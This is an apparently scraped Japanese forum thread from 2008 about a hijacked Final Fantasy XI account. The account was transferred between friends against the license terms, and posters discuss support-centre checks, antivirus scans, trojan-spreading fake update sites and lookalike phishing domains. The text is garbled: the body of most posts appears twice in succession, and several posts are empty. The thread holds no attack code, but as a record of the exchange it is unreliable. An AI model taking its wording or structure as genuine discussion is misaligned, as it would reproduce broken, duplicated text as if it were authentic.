知り合いなら聞いてみろ。
処分してるらしいな。
パスワードの葉書が本人に行くから、本人ならパスワードわかるんじゃね。
知り合いなら聞いてみろ。
728 ：既にその名前は使われています：2008/02/08(金) 13:09:10.34 ID:ptOwMazp
>>725
アカウント譲渡は規約違反だからなあ。
まあ本当にやましいこと（実は売買）がないなら、
住所氏名を登録した本来の持ち主であるその友達がサポセンに問い合せるべき。
トラブル発生の旨を伝えて協力して貰いなよ、友達なんでしょ？
泣き寝入りだけはやめないと、業者の思う壺だしな。
アカウント譲渡は規約違反だからなあ。
まあ本当にやましいこと（実は売買）がないなら、
住所氏名を登録した本来の持ち主であるその友達がサポセンに問い合せるべき。
トラブル発生の旨を伝えて協力して貰いなよ、友達なんでしょ？
泣き寝入りだけはやめないと、業者の思う壺だしな。
729 ：既にその名前は使われています：2008/02/08(金) 13:24:54.83 ID:9DFJHHrN
RMTではないのですが
数年前に友人にFF11をやらなくなったのでアカウントを貸しました。
最近やりたくなったので返してもらいたいのですが喧嘩別れしてもう2年近くになり
今どこで何をしているのかもわかりません。
こんな状態でもサポートに電話してパスワード、ID等を教えてもらえるのでしょうか？
ちなみにFF11関係のものは何も残っていなくIDもレジもわかりません。
住所等の個人情報も変更されている可能性が高いです
数年前に友人にFF11をやらなくなったのでアカウントを貸しました。
最近やりたくなったので返してもらいたいのですが喧嘩別れしてもう2年近くになり
今どこで何をしているのかもわかりません。
こんな状態でもサポートに電話してパスワード、ID等を教えてもらえるのでしょうか？
ちなみにFF11関係のものは何も残っていなくIDもレジもわかりません。
住所等の個人情報も変更されている可能性が高いです
730 ：既にその名前は使われています：2008/02/08(金) 13:33:00.51 ID:ptOwMazp
結論から言うと、またやりたいなら新しくソフト買え
そんな問い合わせあっても教えてくれるわけない
名前は変更不可だがそれ以外の全てを自ら手放した分際で何言ってんの
そんな問い合わせあっても教えてくれるわけない
名前は変更不可だがそれ以外の全てを自ら手放した分際で何言ってんの
731 ：既にその名前は使われています：2008/02/08(金) 13:37:15.18 ID:W3KgEYIq
>>729
ファイナルファンタジーXIソフトウェア使用許諾契約書
第5条 禁止事項
ユーザーは、以下に定める行為を行なうことができません。
（3）本ソフトウェア等の譲渡、貸与、再使用許諾等の行為、その他他者に使用させる一切の行為。
規約違反をしている以上、きちんとしたサポートを受けられるとは思わないほうがいいな。
さらにIDとパスがわからず登録情報もわからないなら■だって手の施しようが無いだろ。
なりすまし詐欺の可能性がある事を考えるとそんなあやふやな状態の奴に教えてくれるわけが無い。
ファイナルファンタジーXIソフトウェア使用許諾契約書
第5条 禁止事項
ユーザーは、以下に定める行為を行なうことができません。
（3）本ソフトウェア等の譲渡、貸与、再使用許諾等の行為、その他他者に使用させる一切の行為。
規約違反をしている以上、きちんとしたサポートを受けられるとは思わないほうがいいな。
さらにIDとパスがわからず登録情報もわからないなら■だって手の施しようが無いだろ。
なりすまし詐欺の可能性がある事を考えるとそんなあやふやな状態の奴に教えてくれるわけが無い。
732 ：既にその名前は使われています：2008/02/08(金) 13:47:16.64 ID:ptOwMazp
オンゲのIDやパスは、オフゲソフトのように気軽に貸し借りしちゃいかんよ。
そもそも垢ハックと関係ないよな
そもそも垢ハックと関係ないよな
733 ：既にその名前は使われています：2008/02/08(金) 13:59:48.59 ID:9DFJHHrN
今電話で聞いたらやはり情報が変更されているらしく初期の登録情報を言っただけでは教えられないと言われました。
おとなしく買ってきます。
おとなしく買ってきます。
734 ：既にその名前は使われています：2008/02/08(金) 14:17:46.54 ID:HVcKqd3S
誓って言いますが、726さんのおっしゃるようなことはやっていません。
ただ単純にリネージュ２に移った友達から譲ってもらっただけのアカウントです。
お金は絡んでいません。
メールを送りましたが、友達は仕事中なので、
サポセンに代理で電話してもらうのは大分夜遅くになってからだと思います。
この間にもしキャラが動かされて思い出の品が捨てられたりとかしたらと思うと
涙が出ます。
サポセンにはさっき電話してみたのですが、やはり本人でないと確認できないとのこと。
変更があっても、葉書はださないと言われました(口頭で伝えるそうです）。
また垢処分ではないということも確認してもらいました。
（その場合、LM-系の警告が出るそうです）
泣き寝入りだけはしたくないです。
アドバイスをありがとうございます。
警察にいくべきなのか今迷っています。
ただ単純にリネージュ２に移った友達から譲ってもらっただけのアカウントです。
お金は絡んでいません。
メールを送りましたが、友達は仕事中なので、
サポセンに代理で電話してもらうのは大分夜遅くになってからだと思います。
この間にもしキャラが動かされて思い出の品が捨てられたりとかしたらと思うと
涙が出ます。
サポセンにはさっき電話してみたのですが、やはり本人でないと確認できないとのこと。
変更があっても、葉書はださないと言われました(口頭で伝えるそうです）。
また垢処分ではないということも確認してもらいました。
（その場合、LM-系の警告が出るそうです）
泣き寝入りだけはしたくないです。
アドバイスをありがとうございます。
警察にいくべきなのか今迷っています。
735 ：既にその名前は使われています：2008/02/08(金) 14:26:32.50 ID:evIjxFLm
736 ：既にその名前は使われています：2008/02/08(金) 14:31:50.34 ID:CdwS/Clz
>>734
その友達とやらが今頃せっせと他アカにギル移動してるんじゃね? >仕事
その友達とやらが今頃せっせと他アカにギル移動してるんじゃね? >仕事
737 ：既にその名前は使われています：2008/02/08(金) 15:24:29.87 ID:ZHYp7wy7
もうそろそろギル変換終わりそうかな？
おまえさんは｢友達から譲って貰った｣と、何度も主張してるが、
赤の他人からすれば、それを信じる根拠が全くない。
つまり、お前が嘘をついてると思ってる訳だ。
お前が嘘をついてないと言うならば、それを証明出来る物…今回なら葉書だな。それと、譲り受けた証明書類。
それが無い限り、残念だがお前を嘘つきといわざるを得ない。
おまえさんは｢友達から譲って貰った｣と、何度も主張してるが、
赤の他人からすれば、それを信じる根拠が全くない。
つまり、お前が嘘をついてると思ってる訳だ。
お前が嘘をついてないと言うならば、それを証明出来る物…今回なら葉書だな。それと、譲り受けた証明書類。
それが無い限り、残念だがお前を嘘つきといわざるを得ない。
738 ：既にその名前は使われています：2008/02/08(金) 15:29:27.36 ID:N+w8Ew45
>>734
まず友達に連絡しなよ。話はそれからです。
まず友達に連絡しなよ。話はそれからです。
739 ：既にその名前は使われています：2008/02/08(金) 16:58:13.27 ID:h+5QcoG6
740 ：既にその名前は使われています：2008/02/08(金) 17:28:06.26 ID:zmrdeMg0
http://qb5.2ch.net/test/read.cgi/sec2chd/1201488251/207
ＯＤＮ様より対応完了のご連絡がありました。
非公開要請がきておりましたので転載は差し控えます。
以下の規制を解除します。
ODN規制 No. 2
http://qb5.2ch.net/test/read.cgi/sec2ch/1200145532/6
OFSfb-（規制4回目）
※今回も別契約で踏み台等の不正使用の可能性があるとのこと
でしたのでセキュリティ対策の徹底と同一契約者が再度悪用
されないよう要請しました。
また、来るかもしれないから警戒あげ
ＯＤＮ様より対応完了のご連絡がありました。
非公開要請がきておりましたので転載は差し控えます。
以下の規制を解除します。
ODN規制 No. 2
http://qb5.2ch.net/test/read.cgi/sec2ch/1200145532/6
OFSfb-（規制4回目）
※今回も別契約で踏み台等の不正使用の可能性があるとのこと
でしたのでセキュリティ対策の徹底と同一契約者が再度悪用
されないよう要請しました。
また、来るかもしれないから警戒あげ
741 ：既にその名前は使われています：2008/02/08(金) 18:38:53.16 ID:HVcKqd3S
友達とは連絡がまだとれていません。
先ほど勇気を出してサポセンに電話したところ
「今現在このアカウントは複数の方で所有権を争っている状態です」
と言われました。
これは・・・確定ですかね・・・。
何をしたらいいのかわかりません。
相当てんぱってます。
警察にいくべきでしょうか？
先ほど勇気を出してサポセンに電話したところ
「今現在このアカウントは複数の方で所有権を争っている状態です」
と言われました。
これは・・・確定ですかね・・・。
何をしたらいいのかわかりません。
相当てんぱってます。
警察にいくべきでしょうか？
742 ：既にその名前は使われています：2008/02/08(金) 18:45:53.81 ID:N+w8Ew45
>>741
>「今現在このアカウントは複数の方で所有権を争っている状態です」
すげぇェェェ～メッサドラマティックやwww
警察行くのは友達と連絡取れてから。
スクエニが契約結んだのはあくまでも最初にそのアカウントで契約結んだ人。
スクエニ、友達との双方との協議の結果所有権がはっきりしたら警察に行きましょう。
>「今現在このアカウントは複数の方で所有権を争っている状態です」
すげぇェェェ～メッサドラマティックやwww
警察行くのは友達と連絡取れてから。
スクエニが契約結んだのはあくまでも最初にそのアカウントで契約結んだ人。
スクエニ、友達との双方との協議の結果所有権がはっきりしたら警察に行きましょう。
743 ：既にその名前は使われています：2008/02/08(金) 18:46:19.31 ID:tt5WAxI7
>>741
規約違反行為でハックされた被害者って立場だから諦める事になるかもね。
つーか、サポセンに電話してそれだけ聞いて切ったの？
個人的には「複数で所有権を争っている状態」ってのが業者同士によるログイン合戦状態なのかどうかが気になるが。
警察に行って、規約違反行為をしていたらハックされた。って言ってもね・・
規約違反行為でハックされた被害者って立場だから諦める事になるかもね。
つーか、サポセンに電話してそれだけ聞いて切ったの？
個人的には「複数で所有権を争っている状態」ってのが業者同士によるログイン合戦状態なのかどうかが気になるが。
警察に行って、規約違反行為をしていたらハックされた。って言ってもね・・
744 ：既にその名前は使われています：2008/02/08(金) 18:48:28.76 ID:O5a/AQL1
745 ：既にその名前は使われています：2008/02/08(金) 18:50:57.28 ID:evIjxFLm
746 ：既にその名前は使われています：2008/02/08(金) 19:25:17.58 ID:AKw9d0A7
>>734
このケースは警察行っても難しいちゃうかな？
本人でなおかつ、被害にあってるなら警察署にもよるけど対応してくれると思うけど
友達から譲ってもらって、登録もIDパスさえわからず、友達とアカウントで喧嘩してるとなると
警察からも鼻で笑われる気がするわ。
テンプレにある準備するものすらまともに揃えられないしね。
そもそも、友達に譲ってもらった時点でパスは自分で変えてるんだよね？
IDわからんって行ってるし、それも怪しい気がするけど。
このケースは警察行っても難しいちゃうかな？
本人でなおかつ、被害にあってるなら警察署にもよるけど対応してくれると思うけど
友達から譲ってもらって、登録もIDパスさえわからず、友達とアカウントで喧嘩してるとなると
警察からも鼻で笑われる気がするわ。
テンプレにある準備するものすらまともに揃えられないしね。
そもそも、友達に譲ってもらった時点でパスは自分で変えてるんだよね？
IDわからんって行ってるし、それも怪しい気がするけど。
747 ：既にその名前は使われています：2008/02/08(金) 19:31:47.00 ID:vGqhD1tK
安心してプレイさせてほしいわ。
どのあたりから絶対安全ってラインに入るんだろ。
どのあたりから絶対安全ってラインに入るんだろ。
748 ：既にその名前は使われています：2008/02/08(金) 19:35:42.24 ID:7HUULzKB
>>741
昨日の２ちゃん戦士の方ですか？
昨日の２ちゃん戦士の方ですか？
749 ：既にその名前は使われています：2008/02/08(金) 19:39:33.51 ID:i5AQslgz
絶対安全なんて無い
750 ：既にその名前は使われています：2008/02/08(金) 19:44:26.29 ID:HVcKqd3S
725です。
今、スキャンしてます。
三社を選んでやっています。
テンプレにももちろん目を通しています。
>>746さん IDはわかりますので、746さんのいうことが少しわかりかねるのですが・・・。
>>741さん ２ちゃん戦士さんではありません。
テンプレで準備できるものはすべて揃えました。
サポセンでは最初に登録した方＝友達の免許証を送ってくれと言われ、
いま連絡を待っていますが、まだ連絡がありません。
この段階ではまだ警察に行くのは早計でしょうか。
今、スキャンしてます。
三社を選んでやっています。
テンプレにももちろん目を通しています。
>>746さん IDはわかりますので、746さんのいうことが少しわかりかねるのですが・・・。
>>741さん ２ちゃん戦士さんではありません。
テンプレで準備できるものはすべて揃えました。
サポセンでは最初に登録した方＝友達の免許証を送ってくれと言われ、
いま連絡を待っていますが、まだ連絡がありません。
この段階ではまだ警察に行くのは早計でしょうか。
751 ：既にその名前は使われています：2008/02/08(金) 19:59:45.92 ID:CdwS/Clz
752 ：既にその名前は使われています：2008/02/08(金) 20:09:37.25 ID:8RrJSDMt
>>750
750は契約者じゃないから 利用権は侵害されてないでしょ。
警察にいってどうするの？
まずは 落ち着いてアカウントの契約者であるところのお友達と連絡とれるのを待って
お友達からサポセンやら警察に届けてもらう必要があるんじゃないの？
750は契約者じゃないから 利用権は侵害されてないでしょ。
警察にいってどうするの？
まずは 落ち着いてアカウントの契約者であるところのお友達と連絡とれるのを待って
お友達からサポセンやら警察に届けてもらう必要があるんじゃないの？
753 ：既にその名前は使われています：2008/02/08(金) 20:13:43.67 ID:GcVA1y7x
■eは原則本人からの届出以外は無視するのぜ
754 ：既にその名前は使われています：2008/02/08(金) 20:18:36.32 ID:N+w8Ew45
>>752
いや、>>750で
『サポセンでは最初に登録した方＝友達の免許証を送ってくれと言われ、』
とあるからサポセンはこのまま対応してくれそうじゃないか？
>>750
サポセンから警察に届けてください、と言われてから届ければいいんじゃないかな？
なんかイレギュラーな対応だからサポセン内で澄むならその方がよさげ。
正規ユーザーとしては非正規ユーザーの君がどうなろうと知ったこっちゃ無いけどね。
出来ればサポセンが垢取り戻してくれる→規約違反なので強制退会処分にするの
大どんでん返し不正者殺し、が起こってくれるとうれしい。
いや、>>750で
『サポセンでは最初に登録した方＝友達の免許証を送ってくれと言われ、』
とあるからサポセンはこのまま対応してくれそうじゃないか？
>>750
サポセンから警察に届けてください、と言われてから届ければいいんじゃないかな？
なんかイレギュラーな対応だからサポセン内で澄むならその方がよさげ。
正規ユーザーとしては非正規ユーザーの君がどうなろうと知ったこっちゃ無いけどね。
出来ればサポセンが垢取り戻してくれる→規約違反なので強制退会処分にするの
大どんでん返し不正者殺し、が起こってくれるとうれしい。
755 ：既にその名前は使われています：2008/02/08(金) 20:27:34.52 ID:HVcKqd3S
何者でもない私に親切なレスをたくさんありがとうございます。
みなさんのようにパソコンにそこまで詳しくないので、スキャンを3社かけましたが、
一個ウィルスがみつかったのみで、それが当該ウィルスに当てはまるのかわかりかねます。
>>751さん
FFで知り合い、リアルでも仲良くなった友達で、
住所や一緒に住んでいる彼女の個人的データまで知っています。
いまはまさか・・・という気持ちで揺れています。
>>752さん
警察にいくのは早計かもしれませんが、愛着のあるキャラを見知らぬ誰かが操っていると考えると、
冷や汗が止まりません。
>>754さん
非正規ユーザーといわれればそうかもしれません。
しかし名義が違うだけで、私としてはまっとうなプレイをしてきたつもりです。
もちろんキャラに愛着もあります。
規約違反といわれればそれまでですが・・・。
みなさんのようにパソコンにそこまで詳しくないので、スキャンを3社かけましたが、
一個ウィルスがみつかったのみで、それが当該ウィルスに当てはまるのかわかりかねます。
>>751さん
FFで知り合い、リアルでも仲良くなった友達で、
住所や一緒に住んでいる彼女の個人的データまで知っています。
いまはまさか・・・という気持ちで揺れています。
>>752さん
警察にいくのは早計かもしれませんが、愛着のあるキャラを見知らぬ誰かが操っていると考えると、
冷や汗が止まりません。
>>754さん
非正規ユーザーといわれればそうかもしれません。
しかし名義が違うだけで、私としてはまっとうなプレイをしてきたつもりです。
もちろんキャラに愛着もあります。
規約違反といわれればそれまでですが・・・。
756 ：既にその名前は使われています：2008/02/08(金) 20:30:35.78 ID:8RrJSDMt
ファイナルファンタジーXIソフトウェア使用許諾契約書
第5条 禁止事項
ユーザーは、以下に定める行為を行なうことができません。
（3）本ソフトウェア等の譲渡、貸与、再使用許諾等の行為、その他他者に使用させる一切の行為。
ってのがあるじゃん？契約者の免許を送れってのは 契約者自身の本人確認のためで
つまりID:HVcKqd3Sでは 問い合わせすらできない状態なんじゃないかね？
免許を送る=免許の本人ということにしてイレギュラーに柔軟な対応を取ろうとしているのか
だとしたら 問題あるなと気になったもんでさ。
>>755 まっとうなプレイヤーはアカウントもらったりしないよ。
第5条 禁止事項
ユーザーは、以下に定める行為を行なうことができません。
（3）本ソフトウェア等の譲渡、貸与、再使用許諾等の行為、その他他者に使用させる一切の行為。
ってのがあるじゃん？契約者の免許を送れってのは 契約者自身の本人確認のためで
つまりID:HVcKqd3Sでは 問い合わせすらできない状態なんじゃないかね？
免許を送る=免許の本人ということにしてイレギュラーに柔軟な対応を取ろうとしているのか
だとしたら 問題あるなと気になったもんでさ。
>>755 まっとうなプレイヤーはアカウントもらったりしないよ。
757 ：既にその名前は使われています：2008/02/08(金) 20:30:52.11 ID:CdwS/Clz
その「友達」が信用できるとしてだ。
アカウントもらってからパスワード変えてないなら
あんたじゃなくて「友達」がトロイ踏んで抜かれたのかもね。
アカウントもらってからパスワード変えてないなら
あんたじゃなくて「友達」がトロイ踏んで抜かれたのかもね。
758 ：既にその名前は使われています：2008/02/08(金) 20:31:33.21 ID:8RrJSDMt
書きもれ 連カキすまん。
見つかったウィルス名かいてみ？
見つかったウィルス名かいてみ？
759 ：既にその名前は使われています：2008/02/08(金) 20:42:02.56 ID:CdwS/Clz
バスターとノートンでチェックしました；；じゃ
あてにならんのでカスペでチェックしてくれ。
あてにならんのでカスペでチェックしてくれ。
760 ：既にその名前は使われています：2008/02/08(金) 20:43:06.53 ID:HVcKqd3S
>>758さん
ウィルスは見つかった瞬間に削除してしまったので、メモっていませんでした。
すみませんorz
もらってから一回パスワードを書き換えたので、その可能性は低いと思います。
>>756さん
そうですね、まっとうなプレイヤーはアカウントもらったりしませんね・・・。
ただ規約などをしらない時期にもらってそのまま使っていたので、
無知であったとしかいいようがありません・・・。
ただもう打つ手が友達からの連絡を待つということのみなので、
どうしようもありません。
今はただ自分の無知と無謀さに涙するばかりです。
ウィルスは見つかった瞬間に削除してしまったので、メモっていませんでした。
すみませんorz
もらってから一回パスワードを書き換えたので、その可能性は低いと思います。
>>756さん
そうですね、まっとうなプレイヤーはアカウントもらったりしませんね・・・。
ただ規約などをしらない時期にもらってそのまま使っていたので、
無知であったとしかいいようがありません・・・。
ただもう打つ手が友達からの連絡を待つということのみなので、
どうしようもありません。
今はただ自分の無知と無謀さに涙するばかりです。
761 ：既にその名前は使われています：2008/02/08(金) 20:49:49.40 ID:CdwS/Clz
複数のトロイ踏んで複数の業者がログイン合戦してたりしてｗ
762 ：既にその名前は使われています：2008/02/08(金) 20:51:34.90 ID:evIjxFLm
>ウィルスは見つかった瞬間に削除してしまったので、メモっていませんでした。
なんかますます胡散臭いなあ。
なんかますます胡散臭いなあ。
763 ：既にその名前は使われています：2008/02/08(金) 20:56:33.58 ID:N+w8Ew45
>>761
ん～垢ハッキングする奴と実際ハッキングする奴が違うんじゃないかな？
垢ハッキングした奴が複数の業者に垢情報売り払ったんじゃないかと思う。
買った業者の方は争っている相手が正規ユーザーか、そうでないかなんて分かるはずが無い。
一粒で二度三度美味しいと言うかなんというか凄いね。
ん～垢ハッキングする奴と実際ハッキングする奴が違うんじゃないかな？
垢ハッキングした奴が複数の業者に垢情報売り払ったんじゃないかと思う。
買った業者の方は争っている相手が正規ユーザーか、そうでないかなんて分かるはずが無い。
一粒で二度三度美味しいと言うかなんというか凄いね。
764 ：既にその名前は使われています：2008/02/08(金) 21:01:51.17 ID:8RrJSDMt
>>760
誤ることじゃないよ こっちこそすまんな
ウィルスの名前がわかれば それでFFのアカぬかれたのか
アカハクとは関係ないのかは ある程度わかったんだが 残念だ。
そういった状況であるなら
スキャンよりも OS入れなおしてきちんと対策することを勧めるよ。
誤ることじゃないよ こっちこそすまんな
ウィルスの名前がわかれば それでFFのアカぬかれたのか
アカハクとは関係ないのかは ある程度わかったんだが 残念だ。
そういった状況であるなら
スキャンよりも OS入れなおしてきちんと対策することを勧めるよ。
765 ：名無しさん＠Before→After：2008/02/08(金) 21:12:33.65 ID:HVcKqd3S
>>762さん
本当のことだけを書いているのですが・・・規約違反だと胡散臭いと思われても仕方ないですね・・・。
avast!でスパイウェアが一個ひっかかっただけでした。
いま、カスペルスキーでスキャンしています。
なにかわかったらカキコします。
本当のことだけを書いているのですが・・・規約違反だと胡散臭いと思われても仕方ないですね・・・。
avast!でスパイウェアが一個ひっかかっただけでした。
いま、カスペルスキーでスキャンしています。
なにかわかったらカキコします。
766 ：既にその名前は使われています：2008/02/08(金) 21:14:19.01 ID:W3KgEYIq
それはクッキーが引っかかっただけだろうな
767 ：既にその名前は使われています：2008/02/08(金) 21:20:55.83 ID:CdwS/Clz
>名無しさん＠Before→After
美容整形板かよ
美容整形板かよ
768 ：既にその名前は使われています：2008/02/08(金) 21:22:10.58 ID:HVcKqd3S
勤めているのが美容整形関係なので・・・。
個人情報がもれてしまいました(汗)
個人情報がもれてしまいました(汗)
769 ：既にその名前は使われています：2008/02/08(金) 21:22:39.02 ID:CdwS/Clz
770 ：既にその名前は使われています：2008/02/08(金) 21:27:47.42 ID:W3KgEYIq
名前欄に板のデフォルトの名前を入れる必要は無いし、
勤め先がどうとかさらに余計な情報なんか流さなくて宜しい
勤め先がどうとかさらに余計な情報なんか流さなくて宜しい
771 ：既にその名前は使われています：2008/02/08(金) 22:00:29.08 ID:FQ8Jd1iK
お前ら優しいなぁ
垢の譲渡って違反を犯しているんだから、別に放っておけばいいじゃん。
どう泣こうが喚こうが、そんな奴を■eが救ってやるわけないっしょ。
自分でパッケージ買って、１からやり直せ。
垢の譲渡って違反を犯しているんだから、別に放っておけばいいじゃん。
どう泣こうが喚こうが、そんな奴を■eが救ってやるわけないっしょ。
自分でパッケージ買って、１からやり直せ。
772 ：既にその名前は使われています：2008/02/08(金) 22:18:49.88 ID:ZHYp7wy7
>>771
この手の質問して来る人は、とにかく聞きまくる。
そして、全く関係ない所にまで被害ひろげまくるタイプだから、
このスレで収まれば納めた方が迷惑かけずにいいからな。
それにしても、｢そのフレンドに彼女…｣
そいつ(フレ)から遊び人の臭いがして仕方がない。
地球事件の再来か？
この手の質問して来る人は、とにかく聞きまくる。
そして、全く関係ない所にまで被害ひろげまくるタイプだから、
このスレで収まれば納めた方が迷惑かけずにいいからな。
それにしても、｢そのフレンドに彼女…｣
そいつ(フレ)から遊び人の臭いがして仕方がない。
地球事件の再来か？
773 ：既にその名前は使われています：2008/02/08(金) 22:25:22.21 ID:9N41GOjg
つーかさ、そのサポセンの対応がマジなら初めて見た情報だ。
「契約者から譲りうけた場合でも契約者本人の照会が可能であるならば、
管理情報の変更要請に対応することが出来る」っていう。
普通に考えれば長期入院や最悪亡くなったりした場合に、実際のゲームからの操作をせずとも解約等できる。
とかに用いられるんだろうけれど、どっちかといえば垢売りの方に使われそうだぜ・・・
「契約者から譲りうけた場合でも契約者本人の照会が可能であるならば、
管理情報の変更要請に対応することが出来る」っていう。
普通に考えれば長期入院や最悪亡くなったりした場合に、実際のゲームからの操作をせずとも解約等できる。
とかに用いられるんだろうけれど、どっちかといえば垢売りの方に使われそうだぜ・・・
774 ：既にその名前は使われています：2008/02/08(金) 22:32:17.85 ID:e9qX687a
なんであれ、契約者じゃない人間が騒ぐ事じゃない。
契約者がどうするかの問題。
質問主が自分の垢だと考えてるのがそもそも間違い。
契約者がどうするかの問題。
質問主が自分の垢だと考えてるのがそもそも間違い。
775 ：既にその名前は使われています：2008/02/09(土) 00:28:57.74 ID:21FLiA9h
age
776 ：既にその名前は使われています：2008/02/09(土) 00:34:42.00 ID:Nt83lTuK
Lv75アカ貰って姫様気取りかｗ
777 ：既にその名前は使われています：2008/02/09(土) 00:47:07.72 ID:WR671ViK
778 ：既にその名前は使われています：2008/02/09(土) 01:18:33.05 ID:DBdezNGY
ウイルスソフト対策ソフトを3本お持ちでしたか？
オンラインスキャンはウイルス削除出来るんですか？
総理この２点お答え下さい。
779 ：既にその名前は使われています：2008/02/09(土) 02:22:20.82 ID:rwa7Qf+f
垢譲渡を「ふつう」だと思っている奴は
遵法意識が低いか情報リテラシーに低いか
どちらにしてもトラブルに見舞われやすい環境だよ
これからは軽々しく垢のやり取りとかするんじゃないお
トラブルがイヤなら、正しい手順を経てゲームしような
今回のはあきらめるしかないだろうね
「思い入れのあるアイテムやキャラ」になるんだから
最初からちゃんと自分でソフト購入して、一から育ててればよかったんだよ
正規の持ち主でもないのにサポート受けたいとか、むりだろ
規約違反の上、譲り主と報告主の間のトラブルの可能性もあるのに、
■eにどうにかしてくれって言う方が間違い
というか、ヤフオクかどっかで垢買ったんじゃねーの？
そうでないとしても、同じレベルのことやってんだから、アウトだよ
遵法意識が低いか情報リテラシーに低いか
どちらにしてもトラブルに見舞われやすい環境だよ
これからは軽々しく垢のやり取りとかするんじゃないお
トラブルがイヤなら、正しい手順を経てゲームしような
今回のはあきらめるしかないだろうね
「思い入れのあるアイテムやキャラ」になるんだから
最初からちゃんと自分でソフト購入して、一から育ててればよかったんだよ
正規の持ち主でもないのにサポート受けたいとか、むりだろ
規約違反の上、譲り主と報告主の間のトラブルの可能性もあるのに、
■eにどうにかしてくれって言う方が間違い
というか、ヤフオクかどっかで垢買ったんじゃねーの？
そうでないとしても、同じレベルのことやってんだから、アウトだよ
780 ：既にその名前は使われています：2008/02/09(土) 02:29:56.88 ID:7IkEF7kE
「Windows Update」騙る偽サイト、トロイの木馬を“緊急インストール”
http://internet.watch.impress.co.jp/cda/news/2008/02/08/18404.html
((((゜Д゜;))))
http://internet.watch.impress.co.jp/cda/news/2008/02/08/18404.html
((((゜Д゜;))))
781 ：既にその名前は使われています：2008/02/09(土) 03:12:08.77 ID:bT4VRU6I
まぎらわしいURLの駆逐をしてほしいもんだ
playonlaneiとかはまだ字面で分かるが、co.jpが.comになっただけとかのは結構危うい
playonlaneiとかはまだ字面で分かるが、co.jpが.comになっただけとかのは結構危うい
782 ：既にその名前は使われています：2008/02/09(土) 04:20:29.83 ID:L9mc6aAz
783 ：既にその名前は使われています：2008/02/09(土) 11:13:46.05 ID:XIo5v6nn
>782
“アノ”国の思考回路ですからｗ
“アノ”国の思考回路ですからｗ
784 ：既にその名前は使われています：2008/02/09(土) 11:42:10.02 ID:Nt83lTuK
oがいっぱいあるGoogleとか微妙にスペル変えたのとか
いくらでもあるじゃん
いくらでもあるじゃん
785 ：既にその名前は使われています：2008/02/09(土) 12:07:21.98 ID:dT8ov8UE
今北
なんつうか、垢ハックの被害じゃなくて、、、、
友人とのキャラの取り合いじゃね？
複数の所有報告がある？ハック業者が俺の垢だってサポセンに連絡するか？
業者そんな事しないって。裸にしたら捨てるだけ。俺がそうだった。
垢又貸しでもされてたんではないか。で又借りしてた奴が複数いるとか。
なんつうか、垢ハックの被害じゃなくて、、、、
友人とのキャラの取り合いじゃね？
複数の所有報告がある？ハック業者が俺の垢だってサポセンに連絡するか？
業者そんな事しないって。裸にしたら捨てるだけ。俺がそうだった。
垢又貸しでもされてたんではないか。で又借りしてた奴が複数いるとか。
786 ：既にその名前は使われています：2008/02/09(土) 12:57:18.26 ID:Nt83lTuK
そんな気がするなｗ
787 ：既にその名前は使われています：2008/02/09(土) 14:15:26.31 ID:+ut9FuZR
ウイルスがらみでパスを抜かれたのではなく、
本来のアカウント所有者が、正規の手続きで新規パスワード発行
してもらっただけかもしれないということか。
本来のアカウント所有者が、正規の手続きで新規パスワード発行
してもらっただけかもしれないということか。
788 ：既にその名前は使われています：2008/02/09(土) 14:19:37.98 ID:rwa7Qf+f
仮にそうであっても、そうでなくとも、
垢の譲渡なんてしてるから真相が分かりにくいし
対応も鈍くなるってもんだ
垢の譲渡なんてしてるから真相が分かりにくいし
対応も鈍くなるってもんだ
789 ：既にその名前は使われています：2008/02/09(土) 14:24:28.19 ID:DBdezNGY
スクエニにしてみれば迷惑以外の何者でもねぇ
790 ：既にその名前は使われています：2008/02/09(土) 14:54:35.42 ID:Nt83lTuK
あと元の所有者がFFに戻りたくなったとか
791 ：既にその名前は使われています：2008/02/09(土) 15:17:41.41 ID:LZH/YaFD
system32にあるfsmgmt.dllとsecpol.exeが感染してるらしい・・・
特にWEBを見ている時間に更新されたわけじゃないからどこから来たのか謎だ
virustotalの調査結果
ttp://www.virustotal.com/jp/analisis/3c3a94bd19c32cda34d9f05eebb4702f
ttp://www.virustotal.com/jp/analisis/37d2947bdebfa555d9f168d2ffc830ef
一個はカスペもすり抜けてるしよくわからんな
特にWEBを見ている時間に更新されたわけじゃないからどこから来たのか謎だ
virustotalの調査結果
ttp://www.virustotal.com/jp/analisis/3c3a94bd19c32cda34d9f05eebb4702f
ttp://www.virustotal.com/jp/analisis/37d2947bdebfa555d9f168d2ffc830ef
一個はカスペもすり抜けてるしよくわからんな
792 ：791：2008/02/09(土) 15:19:48.24 ID:LZH/YaFD
あ、ちなみにノートンとトレンドマイクロのオンラインスキャンは
かすりもしなかった
かすりもしなかった
793 ：既にその名前は使われています：2008/02/09(土) 15:37:21.45 ID:Nt83lTuK
誤検知じゃね?
794 ：791：2008/02/09(土) 15:40:28.35 ID:LZH/YaFD
だといいんだけどね。FF用のPCじゃないので放置してるが
パス読み取り系（WoWらしいが）だから一応気をつけてくれ
パス読み取り系（WoWらしいが）だから一応気をつけてくれ
795 ：既にその名前は使われています：2008/02/09(土) 17:02:49.29 ID:DBdezNGY
まさに誤
796 ：既にその名前は使われています：2008/02/09(土) 17:29:54.92 ID:XNOprR97
797 ：既にその名前は使われています：2008/02/09(土) 17:49:11.01 ID:hqmuMOy3
798 ：既にその名前は使われています：2008/02/09(土) 18:33:16.13 ID:OG/nddGd
>>797
■サポセンの言語能力からしたら、その線が濃いなｗ
■サポセンの言語能力からしたら、その線が濃いなｗ
799 ：既にその名前は使われています：2008/02/09(土) 19:01:35.61 ID:6EAlZ1Gq
っていうかそんな状況になってることがわかってんなら、
アカウントの共有は違反です！とか適当に理由つけて止めてあげてもいいのにｗ
アカウントの共有は違反です！とか適当に理由つけて止めてあげてもいいのにｗ
800 ：既にその名前は使われています：2008/02/09(土) 19:27:32.39 ID:9Ectp12g
スレ見てアップデートしてなかった幾つかのソフトを更新したｗ
801 ：既にその名前は使われています：2008/02/09(土) 20:27:09.46 ID:hqmuMOy3
age
802 ：既にその名前は使われています：2008/02/09(土) 23:50:35.17 ID:ehH2AL1u
さげ
803 ：既にその名前は使われています：2008/02/09(土) 23:59:50.13 ID:rl2efKVo
下げても保守にはなる
age
age
804 ：既にその名前は使われています：2008/02/10(日) 00:41:32.03 ID:n6wcA+TV
ほっしゅ
805 ：既にその名前は使われています：2008/02/10(日) 01:46:02.19 ID:LippuPoA
あっげ
さ、寝るだす
さ、寝るだす
806 ：既にその名前は使われています：2008/02/10(日) 02:30:56.50 ID:7DrHc/Qh
あげ
